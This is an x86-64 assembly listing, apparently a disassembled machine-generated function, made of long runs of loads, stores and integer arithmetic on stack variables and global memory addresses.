mov rcx, qword [rsp + 0x5248]
mov dword [rcx], eax
movzx eax, word [rsp + 0xcc4]
mov rcx, qword [rsp + 0x7108]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1401146e0]
mov word [rcx], ax
lea rax, [rsp + 0x95]
mov qword [rsp + 0x7b00], rax
movsx eax, byte [rsp + 0xb8]
mov rcx, qword [rsp + 0x5050]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xca], al
mov rax, qword [rsp + 0x6058]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x884]
sub eax, ecx
mov rcx, qword [rsp + 0x77c0]
mov word [rcx], ax
mov rax, qword [0x140114718]
movzx eax, byte [rax]
mov byte [rsp + 0x180], al
mov rax, qword [rsp + 0x5388]
mov rcx, qword [rsp + 0x4db8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x79e8], rax
mov rax, qword [rsp + 0x78b0]
mov rax, qword [rax]
mov qword [rsp + 0x7b08], rax
mov rax, qword [rsp + 0x5500]
mov rcx, qword [rsp + 0x5c90]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4e48]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7358]
mov ecx, dword [rsp + 0x2e6c]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x5af8]
mov dword [rcx], eax
movzx eax, word [rsp + 0x8e0]
mov word [0x140114790], ax
lea rax, [rsp + 0x167]
mov qword [rsp + 0x7b10], rax
mov rax, qword [rsp + 0x6120]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x74b0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x9f0], ax
movzx eax, byte [rsp + 0x56]
mov byte [rsp + 0x181], al
movsx eax, word [rsp + 0xb38]
mov rcx, qword [rsp + 0x5e58]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xd68], ax
lea rax, [rsp + 0x2f68]
mov qword [rsp + 0x7b18], rax
mov rax, qword [rsp + 0x63e0]
movzx ecx, al
mov rax, qword [rsp + 0x4fb0]
shl rax, cl
mov rcx, qword [rsp + 0x6840]
mov qword [rcx], rax
mov rax, qword [rsp + 0x64f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6858]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7790]
mov qword [rcx], rax
lea rax, [rsp + 0x2e5c]
mov qword [rsp + 0x7b20], rax
mov rax, qword [rsp + 0x6468]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x91]
add eax, ecx
mov byte [0x14011304f], al
movsx eax, byte [rsp + 0x6b]
mov rcx, qword [rsp + 0x4cd8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xc5], al
movzx eax, word [rsp + 0xc2c]
mov word [rsp + 0xe18], ax
mov rax, qword [rsp + 0x5888]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5338]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x868], ax
movsx eax, word [rsp + 0xcf0]
movsx ecx, word [rsp + 0xa58]
add eax, ecx
mov word [rsp + 0xd3c], ax
mov rax, qword [rsp + 0x60a0]
mov qword [rsp + 0x7b28], rax
mov rax, qword [rsp + 0x5390]
mov ecx, dword [rsp + 0x2c18]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2f84], eax
mov rax, qword [rsp + 0x7660]
mov eax, dword [rax]
mov dword [rsp + 0x3060], eax
mov rax, qword [rsp + 0x7160]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7238]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6980], rax
movzx eax, word [rsp + 0xb90]
movzx ecx, word [rsp + 0xd94]
sub eax, ecx
mov word [rsp + 0x9f0], ax
movsx eax, word [0x1401130bc]
mov rcx, qword [rsp + 0x4e20]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x140113120], ax
movzx eax, byte [rsp + 0x10b]
mov byte [rsp + 0x182], al
movzx eax, byte [rsp + 0x132]
movzx ecx, byte [rsp + 0xae]
sub eax, ecx
mov rcx, qword [rsp + 0x5c48]
mov byte [rcx], al
mov rax, qword [0x140114188]
movzx eax, word [rax]
mov word [rsp + 0xe1c], ax
mov rax, qword [rsp + 0x6080]
mov ecx, dword [rsp + 0x2b44]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2e48], eax
mov rax, qword [rsp + 0x64d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x59c0]
mov qword [rsp + 0x7b30], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7b30]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x6568], rax
lea rax, [0x140113008]
mov qword [rsp + 0x7b38], rax
mov rax, qword [rsp + 0x5c78]
mov rcx, qword [rsp + 0x6690]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x75e8]
mov dword [rcx], eax
lea rax, [rsp + 0xeb]
mov qword [rsp + 0x7b40], rax
mov rax, qword [rsp + 0x6108]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x73a0]
movsx ecx, word [rcx]
sar eax, cl
mov word [0x140113124], ax
movzx eax, word [rsp + 0xbe0]
movzx ecx, word [rsp + 0xcfc]
and eax, ecx
mov word [rsp + 0xbac], ax
lea rax, [rsp + 0xba]
mov qword [rsp + 0x7b48], rax
movsx eax, word [rsp + 0xb28]
mov rcx, qword [rsp + 0x5530]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xd68], ax
mov rax, qword [rsp + 0x6e10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2c18]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2fb8], eax
lea rax, [rsp + 0x5aa0]
mov qword [rsp + 0x7b50], rax
mov rax, qword [rsp + 0x5a60]
mov rcx, qword [0x140114160]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6830], rax
lea rax, [rsp + 0x2e7c]
mov qword [rsp + 0x7b58], rax
mov rax, qword [rsp + 0x4f28]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa80]
add eax, ecx
mov word [rsp + 0xbb4], ax
mov rax, qword [0x140114648]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x50a8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x140114200]
mov byte [rcx], al
mov rax, qword [rsp + 0x6540]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7218]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6fa8]
mov byte [rcx], al
mov rax, qword [rsp + 0x58a8]
movzx eax, word [rax]
mov word [rsp + 0xe20], ax
mov rax, qword [0x140114248]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa5]
sub eax, ecx
mov rcx, qword [rsp + 0x5600]
mov byte [rcx], al
mov rax, qword [rsp + 0x5ce8]
mov rax, qword [rax]
mov qword [rsp + 0x7b60], rax
mov rax, qword [rsp + 0x7588]
mov rcx, qword [rsp + 0x6398]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7138], rax
mov rax, qword [rsp + 0x5330]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2c64]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2e2c], eax
mov rax, qword [rsp + 0x6278]
mov eax, dword [rax]
mov dword [rsp + 0x3064], eax
movzx eax, word [rsp + 0xcbc]
mov rcx, qword [rsp + 0x61d0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xde4], ax
mov rax, qword [rsp + 0x4c98]
movzx eax, word [rax]
mov word [0x140114794], ax
movzx eax, byte [rsp + 0x95]
mov byte [rsp + 0x183], al
movzx eax, byte [rsp + 0xfe]
mov rcx, qword [rsp + 0x6640]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x17a], al
lea rax, [rsp + 0x153]
mov qword [rsp + 0x7b68], rax
mov rax, qword [rsp + 0x77b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa48]
or eax, ecx
mov rcx, qword [rsp + 0x6f58]
mov word [rcx], ax
mov rax, qword [rsp + 0x68e0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2f08]
shl eax, cl
mov dword [rsp + 0x2b78], eax
mov rax, qword [rsp + 0x57f8]
mov eax, dword [rax]
mov dword [rsp + 0x3068], eax
mov rax, qword [rsp + 0x7550]
mov rcx, qword [rsp + 0x5930]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x5c20]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7730]
mov qword [rsp + 0x7b70], rax
mov rax, qword [rsp + 0x52b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x9f8]
add eax, ecx
mov rcx, qword [0x140114690]
mov word [rcx], ax
movzx eax, byte [rsp + 0xe2]
movzx ecx, byte [rsp + 0x149]
add eax, ecx
mov byte [rsp + 0x9b], al
movsx eax, byte [rsp + 0x74]
mov rcx, qword [rsp + 0x5f48]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4c70]
mov byte [rcx], al
lea rax, [rsp + 0xb88]
mov qword [rsp + 0x7b78], rax
movzx eax, word [rsp + 0xabc]
mov rcx, qword [rsp + 0x7610]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x53f0]
mov word [rcx], ax
lea rax, [rsp + 0x7b28]
mov qword [rsp + 0x7b80], rax
mov rax, qword [rsp + 0x56c0]
mov rcx, qword [0x140113008]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4eb0], rax
mov eax, dword [rsp + 0x2f68]
mov ecx, dword [rsp + 0x2f64]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2f8c], eax
mov eax, dword [rsp + 0x2c4c]
mov dword [rsp + 0x306c], eax
mov rax, qword [0x140114340]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x157]
and eax, ecx
mov rcx, qword [0x140114780]
mov byte [rcx], al
movsx eax, byte [rsp + 0x77]
movsx ecx, byte [rsp + 0x155]
add eax, ecx
mov byte [rsp + 0x169], al
lea rax, [rsp + 0xaa0]
mov qword [rsp + 0x7b88], rax
mov rax, qword [rsp + 0x5f48]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x57]
shl eax, cl
mov byte [rsp + 0x50], al
movzx eax, byte [rsp + 0x177]
mov rcx, qword [rsp + 0x57a0]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x17a], al
lea rax, [rsp + 0x5a60]
mov qword [rsp + 0x7b90], rax
mov eax, dword [rsp + 0x3014]
mov rcx, qword [rsp + 0x7508]
mov qword [rsp + 0x7b98], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7b98]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x2dc4], eax
mov rax, qword [rsp + 0x54e0]
mov rax, qword [rax]
mov qword [rsp + 0x7ba0], rax
mov rax, qword [rsp + 0x4e48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2cf0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2f14], eax
mov rax, qword [rsp + 0x7930]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x8a]
add eax, ecx
mov byte [0x140113096], al
lea rax, [rsp + 0xd68]
mov qword [rsp + 0x7ba8], rax
movsx eax, word [rsp + 0xc00]
movsx ecx, word [0x1401146b8]
and eax, ecx
mov word [rsp + 0xd10], ax
mov rax, qword [rsp + 0x5810]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5a18]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7610]
mov word [rcx], ax
lea rax, [rsp + 0x10d]
mov qword [rsp + 0x7bb0], rax
mov rax, qword [rsp + 0x63f8]
mov rcx, qword [0x140114160]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7470], rax
lea rax, [rsp + 0x5430]
mov qword [rsp + 0x7bb8], rax
mov rax, qword [rsp + 0x5750]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2bb0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b60], eax
mov rax, qword [rsp + 0x5a40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x300c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x304c], eax
movzx eax, word [rsp + 0x8b8]
movzx ecx, word [rsp + 0x8a0]
sub eax, ecx
mov word [0x1401146d0], ax
lea rax, [rsp + 0x11f]
mov qword [rsp + 0x7bc0], rax
mov rax, qword [0x140114180]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xac8]
sub eax, ecx
mov rcx, qword [rsp + 0x7478]
mov word [rcx], ax
movzx eax, byte [rsp + 0x4f]
mov byte [rsp + 0x184], al
movzx eax, word [rsp + 0xbc0]
mov rcx, qword [rsp + 0x6758]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x908], ax
mov eax, dword [rsp + 0x2f70]
mov ecx, dword [rsp + 0x2d34]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b50], eax
mov rax, qword [rsp + 0x5a90]
mov qword [rsp + 0x7bc8], rax
mov eax, dword [0x140114150]
movzx ecx, al
mov eax, dword [rsp + 0x2ee0]
sar eax, cl
mov dword [rsp + 0x2d3c], eax
mov rax, qword [rsp + 0x7898]
mov rax, qword [rax]
mov qword [rsp + 0x7bd0], rax
mov rax, qword [rsp + 0x5048]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc8]
shl eax, cl
mov byte [0x140113097], al
movsx eax, byte [rsp + 0x9a]
mov rcx, qword [rsp + 0x7328]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x78a0]
mov byte [rcx], al
movsx eax, byte [rsp + 0x6f]
movsx ecx, byte [rsp + 0x3b]
or eax, ecx
mov byte [rsp + 0x172], al
mov rax, qword [rsp + 0x7a40]
movzx eax, word [rax]
mov word [rsp + 0xe24], ax
movzx eax, byte [rsp + 0x168]
movzx ecx, byte [0x140113003]
sub eax, ecx
mov rcx, qword [rsp + 0x5600]
mov byte [rcx], al
mov rax, qword [rsp + 0x7300]
mov eax, dword [rax]
mov dword [rsp + 0x3070], eax
mov rax, qword [rsp + 0x6288]
mov rcx, qword [rsp + 0x69b8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7ad8]
mov qword [rcx], rax
lea rax, [rsp + 0x6428]
mov qword [rsp + 0x7bd8], rax
mov rax, qword [rsp + 0x6698]
mov eax, dword [rax]
mov ecx, dword [0x140114150]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2e90], eax
movzx eax, word [rsp + 0xd40]
mov word [0x140114798], ax
mov rax, qword [rsp + 0x6088]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6f28]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x90c], ax
lea rax, [rsp + 0xae]
mov qword [rsp + 0x7be0], rax
movsx eax, word [rsp + 0xbc8]
mov rcx, qword [rsp + 0x5b50]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x9e4], ax
mov rax, qword [rsp + 0x7028]
movzx eax, byte [rax]
mov byte [rsp + 0x185], al
mov rax, qword [rsp + 0x6730]
mov rcx, qword [rsp + 0x4f38]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7128]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7ad8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x75b8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6258]
mov qword [rcx], rax
lea rax, [rsp + 0x3064]
mov qword [rsp + 0x7be8], rax
mov rax, qword [rsp + 0x5cd0]
mov rcx, qword [rsp + 0x5680]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x7300]
mov dword [rcx], eax
movzx eax, word [rsp + 0x908]
mov rcx, qword [rsp + 0x7170]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140114370], ax
mov rax, qword [rsp + 0x7818]
movzx eax, word [rax]
mov word [rsp + 0xe28], ax
movsx eax, byte [rsp + 0x78]
mov rcx, qword [rsp + 0x6f50]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x87], al
mov rax, qword [rsp + 0x79f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7810]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6028]
mov byte [rcx], al
mov rax, qword [rsp + 0x6f70]
movzx eax, word [rax]
mov word [rsp + 0xe2c], ax
mov rax, qword [rsp + 0x7418]
mov rcx, qword [rsp + 0x5098]
mov qword [rsp + 0x7bf0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7bf0]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x7148]
mov qword [rcx], rax
mov rax, qword [rsp + 0x71a8]
mov eax, dword [rax]
mov dword [rsp + 0x3074], eax
mov rax, qword [rsp + 0x6520]
mov rcx, qword [rsp + 0x5900]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x60b0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2ee8]
mov dword [rsp + 0x3078], eax
mov rax, qword [rsp + 0x7368]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5888]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x98c], ax
lea rax, [rsp + 0x154]
mov qword [0x1401147a0], rax
movzx eax, byte [rsp + 0x54]
mov rcx, qword [rsp + 0x69f8]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x7100]
mov byte [rcx], al
movzx eax, word [rsp + 0x85c]
mov word [rsp + 0xe30], ax
mov rax, qword [rsp + 0x5dc0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc08]
and eax, ecx
mov word [rsp + 0xe14], ax
mov rax, qword [rsp + 0x67a8]
mov eax, dword [rax]
mov dword [rsp + 0x307c], eax
mov rax, qword [rsp + 0x5800]
mov rcx, qword [rsp + 0x6230]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x66b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7a88]
mov rcx, qword [rsp + 0x7150]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2b88], eax
lea rax, [0x140114160]
mov qword [rsp + 0x7bf8], rax
mov rax, qword [rsp + 0x5c18]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x76b0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x858], ax
movsx eax, byte [rsp + 0x15e]
mov rcx, qword [0x1401141a0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x140113026], al
mov rax, qword [rsp + 0x6a30]
movzx eax, byte [rax]
mov byte [rsp + 0x186], al
movzx eax, byte [rsp + 0xb4]
mov rcx, qword [rsp + 0x5f90]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6dd0]
mov byte [rcx], al
movzx eax, word [rsp + 0xaf0]
mov rcx, qword [0x1401144e8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6988]
mov word [rcx], ax
mov rax, qword [rsp + 0x5a48]
mov eax, dword [rax]
mov dword [rsp + 0x3080], eax
mov rax, qword [rsp + 0x5728]
mov rcx, qword [rsp + 0x66c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3074], eax
mov rax, qword [rsp + 0x5fe0]
mov qword [rsp + 0x7c00], rax
mov rax, qword [rsp + 0x5930]
mov rcx, qword [rsp + 0x55b0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x68c8]
mov qword [rcx], rax
movsx eax, word [rsp + 0xbcc]
movsx ecx, word [rsp + 0x9b0]
sar eax, cl
mov rcx, qword [rsp + 0x6928]
mov word [rcx], ax
mov rax, qword [rsp + 0x5160]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa6c]
xor eax, ecx
mov word [0x140113128], ax
lea rax, [rsp + 0x169]
mov qword [rsp + 0x7c08], rax
movzx eax, word [rsp + 0xdc0]
mov rcx, qword [rsp + 0x7108]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x9f8], ax
movzx eax, byte [0x14011304a]
mov byte [rsp + 0x187], al
mov rax, qword [rsp + 0x7340]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2ef0]
shl eax, cl
mov rcx, qword [rsp + 0x55e0]
mov dword [rcx], eax
lea rax, [rsp + 0x6d58]
mov qword [rsp + 0x7c10], rax
mov rax, qword [rsp + 0x5180]
mov rcx, qword [rsp + 0x6568]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x67e8], rax
mov eax, dword [rsp + 0x2eb4]
mov ecx, dword [rsp + 0x2b18]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3034], eax
lea rax, [rsp + 0xaf4]
mov qword [rsp + 0x7c18], rax
movzx eax, byte [rsp + 0x165]
movzx ecx, byte [0x140113017]
sub eax, ecx
mov byte [0x140113083], al
movsx eax, byte [rsp + 0x3f]
mov rcx, qword [rsp + 0x5f48]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xcf], al
lea rax, [rsp + 0xbb0]
mov qword [rsp + 0x7c20], rax
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
movzx ecx, byte [0x1401141bb]
add eax, ecx
mov byte [rsp + 0x150], al
mov rax, qword [rsp + 0x61d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5a30]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x65e8]
mov word [rcx], ax
lea rax, [rsp + 0x3070]
mov qword [rsp + 0x7c28], rax
mov eax, dword [rsp + 0x2bfc]
mov ecx, dword [0x140114150]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3010], eax
mov rax, qword [rsp + 0x5808]
mov qword [rsp + 0x7c30], rax
mov rax, qword [rsp + 0x7210]
mov rcx, qword [rsp + 0x7450]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x78e0]
mov qword [rcx], rax
lea rax, [rsp + 0x15b]
mov qword [0x1401147a8], rax
movsx eax, byte [rsp + 0x166]
movsx ecx, byte [rsp + 0x5d]
add eax, ecx
mov rcx, qword [rsp + 0x5890]
mov byte [rcx], al
mov rax, qword [rsp + 0x7a40]
movzx eax, word [rax]
mov word [rsp + 0xe34], ax
movsx eax, byte [rsp + 0x8a]
mov rcx, qword [rsp + 0x5e30]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xca], al
movzx eax, word [rsp + 0xa44]
mov word [rsp + 0xe38], ax
mov rax, qword [rsp + 0x7680]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x6238]
shr rax, cl
mov qword [rsp + 0x6630], rax
lea rax, [rsp + 0x6568]
mov qword [rsp + 0x7c38], rax
mov rax, qword [rsp + 0x7190]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x4b40]
mov qword [rsp + 0x7c40], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7c40]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x5c90]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2dec]
mov ecx, dword [rsp + 0x2e38]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7a60]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xbf]
movzx ecx, byte [0x140113042]
or eax, ecx
mov byte [0x140113033], al
movzx eax, word [rsp + 0x860]
mov word [rsp + 0xe3c], ax
movsx eax, byte [rsp + 0xbe]
mov rcx, qword [rsp + 0x5d88]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x186], al
lea rax, [0x140114420]
mov qword [rsp + 0x7c48], rax
mov rax, qword [rsp + 0x56c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc8c]
sub eax, ecx
mov word [rsp + 0xb50], ax
mov eax, dword [rsp + 0x2e6c]
mov ecx, dword [rsp + 0x2c88]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x29f0], eax
lea rax, [rsp + 0x2c50]
mov qword [rsp + 0x7c50], rax
mov rax, qword [rsp + 0x60f8]
mov rcx, qword [rsp + 0x79b8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5220]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7a20]
mov qword [rsp + 0x7c58], rax
movsx eax, word [rsp + 0xe38]
mov rcx, qword [0x140114510]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1401143f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6ef8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5878]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6ef8]
mov byte [rcx], al
movsx eax, byte [rsp + 0xd5]
mov rcx, qword [rsp + 0x6c20]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x66e8]
mov byte [rcx], al
lea rax, [rsp + 0xbf0]
mov qword [rsp + 0x7c60], rax
mov rax, qword [rsp + 0x71a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x176]
add eax, ecx
mov byte [rsp + 0x132], al
lea rax, [rsp + 0x7390]
mov qword [rsp + 0x7c68], rax
mov rax, qword [rsp + 0x6ec0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2bf8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x53a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6298]
mov ecx, dword [rsp + 0x3018]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x305c], eax
lea rax, [rsp + 0x4f70]
mov qword [rsp + 0x7c70], rax
lea rax, [rsp + 0xd48]
mov qword [0x1401147b0], rax
mov rax, qword [rsp + 0x7570]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x152]
shl eax, cl
mov rcx, qword [rsp + 0x7538]
mov byte [rcx], al
movzx eax, byte [rsp + 0xa0]
mov byte [rsp + 0x188], al
mov rax, qword [rsp + 0x5668]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa68]
sar eax, cl
mov rcx, qword [rsp + 0x5850]
mov word [rcx], ax
lea rax, [rsp + 0x88]
mov qword [rsp + 0x7c78], rax
mov rax, qword [rsp + 0x5a88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6f80]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x5910], rax
mov rax, qword [rsp + 0x61d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7578]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x76e0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2b40]
mov dword [rsp + 0x3084], eax
mov eax, dword [rsp + 0x2b78]
mov ecx, dword [rsp + 0x2fc8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2cdc], eax
lea rax, [rsp + 0x97]
mov qword [0x1401147b8], rax
mov rax, qword [rsp + 0x6a00]
movzx eax, word [rax]
mov word [rsp + 0xe40], ax
mov rax, qword [rsp + 0x60d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x12a]
sub eax, ecx
mov rcx, qword [rsp + 0x5d88]
mov byte [rcx], al
movzx eax, byte [rsp + 0x180]
mov rcx, qword [0x140114328]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x10e], al
lea rax, [rsp + 0xad0]
mov qword [rsp + 0x7c80], rax
mov rax, qword [rsp + 0x6c00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2dc0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3020], eax
lea rax, [rsp + 0x4b80]
mov qword [rsp + 0x7c88], rax
mov rax, qword [rsp + 0x5028]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2f94]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2fb4], eax
mov rax, qword [rsp + 0x6ba8]
mov rcx, qword [rsp + 0x6c98]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5690], rax
mov rax, qword [rsp + 0x5510]
movsx eax, word [rax]
mov rcx, qword [0x1401145c0]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x140113074], ax
movzx eax, byte [rsp + 0xce]
mov byte [rsp + 0x189], al
mov rax, qword [rsp + 0x60e0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5940]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xd8c], ax
movzx eax, word [rsp + 0x93c]
mov word [rsp + 0xe44], ax
mov rax, qword [rsp + 0x75c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7348]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x8d8], ax
mov eax, dword [rsp + 0x2f64]
movzx ecx, al
mov eax, dword [rsp + 0x3018]
shl eax, cl
mov rcx, qword [rsp + 0x73f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x66b0]
mov rax, qword [rax]
mov qword [rsp + 0x7c90], rax
mov rax, qword [rsp + 0x7688]
mov rax, qword [rax]
cqo
mov rcx, qword [rsp + 0x72b8]
idiv qword [rcx]
mov rcx, qword [rsp + 0x7058]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3070]
mov dword [rsp + 0x3088], eax
mov rax, qword [rsp + 0x7978]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xac]
xor eax, ecx
mov byte [0x14011307e], al
